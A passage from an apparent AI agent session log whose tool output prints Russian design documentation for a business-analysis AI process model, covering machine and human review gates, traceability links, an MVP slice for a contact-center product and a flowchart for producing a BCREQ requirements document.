\u043d\u0430\u0431\u043b\u044e\u0434\u0451\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c\\n   \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0430 (`EP-R6`).\\n3. **\u041d\u0430\u0432\u044b\u043a\u0438 \u0440\u0430\u0437\u043d\u044b\u0435, \u0433\u0435\u0439\u0442 \u043e\u0434\u0438\u043d.** `G-self`, `G-mach`, `G-human` \u2014 \u0442\u0440\u0438\\n   \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u0430 \u043d\u0435 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0433\u0435\u0439\u0442\u0430 (`10-theory.md`, \u00a72). \u0413\u0435\u0439\u0442\\n   \u0441\u0442\u043e\u0438\u0442 \u043d\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0435 \u043d\u0430\u0432\u044b\u043a\u0430-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0430 \u043d\u0435 \u043f\u043e\u0441\u043b\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438: \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\\n   \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 (`OA-2`). \u041d\u0430 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0445 \u0443\u0437\u043b\u0430\u0445 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u043d\u0435\\n   \u0432\u0441\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0438, \u0438 \u044d\u0442\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e \u044f\u0432\u043d\u043e.\\n4. **\u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0437\u0430\u0434\u0430\u0451\u0442 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0433\u0435\u0439\u0442 \u2014 \u043c\u043e\u043c\u0435\u043d\u0442.** `C-OUT` \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442, \u0447\u0435\u043c\u0443\\n   \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434; `G4` \u2014 \u0442\u043e\u0447\u043a\u0430, \u0433\u0434\u0435 \u044d\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f.\\n5. **\u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c\u0438.** `V-BIZ`, `V-APPROVE`,\\n   `V-DEV` \u2014 \u0442\u0440\u0438 \u0447\u0442\u0435\u043d\u0438\u044f \u043e\u0434\u043d\u043e\u0433\u043e `A-BCREQ`. \u0412\u0435\u0440\u0441\u0438\u044f 0.4 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u043a \u043d\u0438\u043c \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u043e\u0435,\\n   `V-CONTRACT` \u2014 \u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u043e\u0439 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430, \u0433\u0434\u0435 `S-FR` \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a\\n   \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u00ab\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c **\u0412\u041e\u0417\u041c\u041e\u0416\u041d\u041e\u0421\u0422\u042c**\u00bb \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u043b\u043d\u043e\u0442\u0443 \u043f\u043e\\n   \u0447\u0435\u0442\u044b\u0440\u0451\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c (\u0447\u0442\u043e, \u043a\u0442\u043e, \u0433\u0434\u0435, \u043a\u043e\u0433\u0434\u0430), \u0430 `S-OPEN` \u043e\u0431\u044f\u0437\u0430\u043d \u0431\u044b\u0442\u044c \u043f\u0443\u0441\u0442.\\n   \u041f\u0440\u0435\u0436\u043d\u0438\u0435 \u0442\u0440\u0438 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u044b \u0438 \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u0435\u043d\u044b: \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u0430\u044f\\n   \u0432\u0435\u0442\u043a\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u043e \u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u0438 \u0434\u043e \u043c\u043e\u0434\u0435\u043b\u0438, \u043d\u043e\\n   \u043d\u0435 \u0438\u043c\u0435\u043b\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430. \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0435\u043c `projection`\\n   \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u0438 \u043f\u043e\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u0430; \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 0.4 \u043f\u043e\u043b\u0435 \u0431\u044b\u043b\u043e \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c,\\n   \u0442\u043e \u0435\u0441\u0442\u044c \u0432\u0435\u0442\u043a\u0430 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u043b\u0430\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443.\\n6. **\u0421\u043b\u0435\u0434 \u2014 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430.** `A-TRACE` \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0442\u0435\u043c \u0436\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c \u0438\\n   \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0445\u043e\u0434, \u0433\u0435\u0439\u0442\u044b \u0438 \u0432\u044b\u0445\u043e\u0434; \u0431\u0435\u0437 \u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u043c\\n   (`EP-R4`).\\n\\n## 2. \u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c\\n\\n| \u0417\u0432\u0435\u043d\u043e | \u0427\u0435\u043c \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u043e | \u0413\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f |\\n| --- | --- | --- |\\n| \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u2192 \u043f\u0440\u043e\u0433\u043e\u043d | `trace.input_ref` | `G-mach`, \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u044f |\\n| \u043f\u0440\u043e\u0433\u043e\u043d \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 | `process` \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f `L2` | `G-mach`, `EP-R1` |\\n| \u043f\u0440\u043e\u0433\u043e\u043d \u2192 \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f | `path` \u0438 `decisions` \u043b\u0438\u0441\u0442\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | `G-mach`, `EP-R6` |\\n| \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u2192 \u0446\u0438\u0442\u0430\u0442\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 | `source_ref`: \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u0440\u0430\u0437\u0434\u0435\u043b, \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430, \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u0430\u044f \u0446\u0438\u0442\u0430\u0442\u0430 | `G-mach` (`check-source-evidence`), \u0437\u0430\u0442\u0435\u043c `G-human` (`GT-5`) |\\n| \u0448\u0430\u0433 \u2192 \u0430\u043a\u0442\u043e\u0440 | `step_actor` | `G-mach`, `EP-R2` |\\n| \u0448\u0430\u0433 \u2192 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0433\u0435\u0439\u0442\u0430 | `gate_result` \u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0435\u043c | `G-mach` |\\n| \u043f\u0440\u043e\u0433\u043e\u043d \u2192 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 | `trace.output_ref` | `G-human` |\\n| \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u2192 \u0441\u043b\u043e\u0442\u044b | \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u0441\u043b\u043e\u0442\u043e\u0432 \u0432 \u0448\u0430\u0431\u043b\u043e\u043d\u0435 | `G-mach`, \u0441\u0445\u0435\u043c\u0430 `C-OUT` |\\n\\n\u0417\u0430\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u0442\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0440\u0430\u0437\u043e\u0440\u0432\u0430\u043d\u0430 \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u0436\u0435 \u0437\u0432\u0435\u043d\u0435: **50 \u0438\u0437 67\\n\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432** \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442, \u0430 66 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 `process` \u0438\u0437 67 \u043b\u0435\u0436\u0430\u0442\\n\u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f (`D7`). \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 MVP \u043a\u0430\u043a **\u0438\u0437\u043c\u0435\u0440\u044f\u0435\u043c\u0430\u044f \u0432\u0435\u043b\u0438\u0447\u0438\u043d\u0430**, \u0430\\n\u043d\u0435 \u043a\u0430\u043a \u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u044f.\\n\\n## 3. \u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 MVP-\u0441\u0440\u0435\u0437\\n\\n\u0421\u0440\u0435\u0437 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u0443\u0437\u043a\u0438\u0439: \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441, \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043e\u0434\u0438\u043d \u0446\u0435\u043b\u0435\u0432\u043e\u0439\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442. \u0426\u0435\u043b\u044c \u2014 \u043d\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435, \u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u044b\u0445 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\\n\\n| \u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0441\u0440\u0435\u0437\u0430 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 | \u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a |\\n| --- | --- | --- |\\n| \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 | `contact-center` | \u043d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0435\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 |\\n| \u0421\u0438\u0441\u0442\u0435\u043c\u0430 | \u043e\u0434\u0438\u043d \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430, \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 | `SY-3`: \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0421\u0438\u0441\u0442\u0435\u043c\u044b \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f |\\n| \u041f\u0440\u043e\u0446\u0435\u0441\u0441\u044b | `P-01` `elicitation-processing` \u0438 `P-03` `bcreq-formation`, \u0432\u0435\u0442\u0432\u044c `P-02` `clarification-management` | \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043e\u0442 \u0441\u044b\u0440\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u0434\u043e \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430; \u0432\u0435\u0442\u0432\u044c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430, \u0438\u043d\u0430\u0447\u0435 \u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u044c \u043d\u0435\u0447\u0435\u043c \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u0442\u044c |\\n| \u0426\u0435\u043b\u0435\u0432\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | `A-BCREQ` | \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0438\u0437 issue #563 |\\n| \u041d\u0430\u0432\u044b\u043a\u0438 | 7 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 `SKILL.md` (3 \u0432 `P-01`, 4 \u0432 `P-03`) \u043f\u043b\u044e\u0441 3 \u043d\u0430\u0432\u044b\u043a\u0430 \u0432\u0435\u0442\u0432\u0438 `P-02` | \u0435\u0434\u0438\u043d\u0438\u0446\u0430 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u2014 \u043d\u0430\u0432\u044b\u043a-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f (`SK-1`) |\\n| \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 | \u0441\u043b\u043e\u0432\u0430\u0440\u044c `ba-operation-taxonomy`, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 | \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043d\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e: \u043e\u043d\u0430 \u0448\u0430\u0433 \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0430\u0432\u044b\u043a\u0430 |\\n| \u0413\u0435\u0439\u0442\u044b | `G-self` \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0430\u0432\u044b\u043a\u0430, `G-mach` \u043d\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0435 \u043d\u0430\u0432\u044b\u043a\u0430, `G-human` \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u0438 \u0432 `P-02` | \u043c\u0438\u043d\u0438\u043c\u0443\u043c, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043e\u0442\u043a\u0430\u0437 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d; \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a (`GT-5`) |\\n| \u042d\u0442\u0430\u043b\u043e\u043d\u044b | 2 (`contact-center`, \u043f\u0440\u043e\u0444\u0438\u043b\u044c `P-SETTINGS` \u0438 `P-NO-SETTINGS`) | \u0443\u0436\u0435 \u0441\u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 `exp/ba-micro-structure-561/` |\\n| \u041e\u0431\u044a\u0451\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 | 10 \u0437\u0430\u0434\u0430\u0447 | \u043d\u0438\u0436\u043d\u044f\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u0430 |\\n\\n## 4. \u041f\u043b\u0430\u043d \u0441\u0431\u043e\u0440\u0430 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\",\n[2026-09-29T07:44:57.751Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:57.751Z] [INFO]       }\n[2026-09-29T07:44:57.751Z] [INFO]     ]\n[2026-09-29T07:44:57.751Z] [INFO]   },\n[2026-09-29T07:44:57.751Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:57.751Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:57.751Z] [INFO]   \"uuid\": \"70d72118-76d8-4b7a-b16c-2e0315fa7aa8\",\n[2026-09-29T07:44:57.751Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:57.743Z\",\n[2026-09-29T07:44:57.751Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:44:57.751Z] [INFO]     \"stdout\": \"# \u041f\u0440\u0430\u043a\u0442\u0438\u043a\u0430: \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0438 \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437\\n\\n> \u0424\u0430\u0439\u043b \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u043e\u0434\u0443\u043b\u044f: \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u2014\\n> [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0438 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u2014\\n> [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md), \u0441\u043e\u0441\u0442\u0430\u0432 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014\\n> [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md).\\n\\n## 1. \u041c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430: BCREQ\\n\\n\u0421\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u2014 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 BCREQ (`A-BCREQ`) \u0438\u0437 \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e\\n\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f (`A-IN`). \u041f\u043e\u043a\u0430\u0437\u0430\u043d\u044b \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0433\u0435\u0439\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438 \u0441\u043b\u0435\u0434.\\n\\n```mermaid\\nflowchart TD\\n    subgraph IN[\\\"\u0412\u0445\u043e\u0434\\\"]\\n        AIN[\\\"A-IN\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430\\\"]\\n        PC[\\\"\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d (MM-4)\\\"]\\n        SYS[\\\"\u0421\u0438\u0441\u0442\u0435\u043c\u0430\u043e\u0431\u044a\u0435\u043a\u0442 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f (SY-3)\\\"]\\n    end\\n\\n    CIN{{\\\"C-IN\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u0445\u043e\u0434\u0430\\\"}}\\n    AIN --> CIN\\n    PC --> CIN\\n    SYS --> CIN\\n\\n    CIN -->|\\\"\u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e\\\"| P[\\\"P-01 elicitation-processing\u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, process \u0438\u0437 \u0441\u043b\u043e\u0432\u0430\u0440\u044f (EP-R1)\\\"]\\n    CIN -->|\\\"\u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u043e\\\"| STOP[\\\"\u041e\u0442\u043a\u0430\u0437: \u0432\u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443(GT-2, fail-closed)\\\"]\\n\\n    subgraph SKA[\\\"\u041d\u0430\u0432\u044b\u043a\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 P-01\\\"]\\n        S1[\\\"SK-transcript-normalization\\\"]\\n        S2[\\\"SK-context-extraction\\\"]\\n        S3[\\\"SK-ambiguity-detection\\\"]\\n    end\\n\\n    P --> S1 --> G1 --> S2 --> G2 --> S3 --> G3\\n\\n    G1[\\\"G-self: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043f\u043e\u0442\u0435\u0440\u0438 \u0441\u043c\u044b\u0441\u043b\u0430\\\"]\\n    G2[\\\"G-mach: C-CORE, \u0441\u043b\u043e\u0442\u044b \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b\\\"]\\n    G3{\\\"\u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0435\u043d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u0438?\\\"}\\n\\n    G3 -->|\\\"\u0434\u0430 (\u0440\u0435\u0431\u0440\u043e \u043f\u043e \u0443\u0441\u043b\u043e\u0432\u0438\u044e, EP-R5)\\\"| Q[\\\"P-02 clarification-managementSK-question-formation [G5]\\\"]\\n    Q --> AQ[\\\"A-QUEST\u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443\\\"]\\n    AQ --> S2\\n\\n    G3 -->|\\\"\u043d\u0435\u0442\\\"| CORE[\\\"A-CORE\u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\"]\\n\\n    CORE --> P3[\\\"P-03 bcreq-formationSK-problem-statement \u2192 SK-value-hypothesis\u2192 SK-bcreq-decomposition \u2192 SK-bcreq-assembly\\\"]\\n\\n    subgraph GATE[\\\"\u0413\u0435\u0439\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 (\u043e\u0434\u0438\u043d \u0433\u0435\u0439\u0442, \u0442\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f)\\\"]\\n        GS[\\\"G-self\u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u043d\u0430\u0432\u044b\u043a\u0430\\\"]\\n        GM[\\\"G-machC-OUT + \u0441\u0445\u0435\u043c\u0430 + Golden Set (EP-G1)\\\"]\\n        GH[\\\"G-human\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 + \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a (GT-5)\\\"]\\n    end\\n\\n    P3 --> GS --> GM --> GH\\n\\n    GM -->|\\\"\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0435 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\\\"| REJ[\\\"\u0412\u043e\u0437\u0432\u0440\u0430\u0442 \u043d\u0430 SK-bcreq-assembly\\\"]\\n    REJ --> P3\\n\\n    GH --> OUT[\\\"A-BCREQ\u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\\\"]\\n    GH --> TR[\\\"A-TRACE\u043c\u0430\u0442\u0440\u0438\u0446\u0430 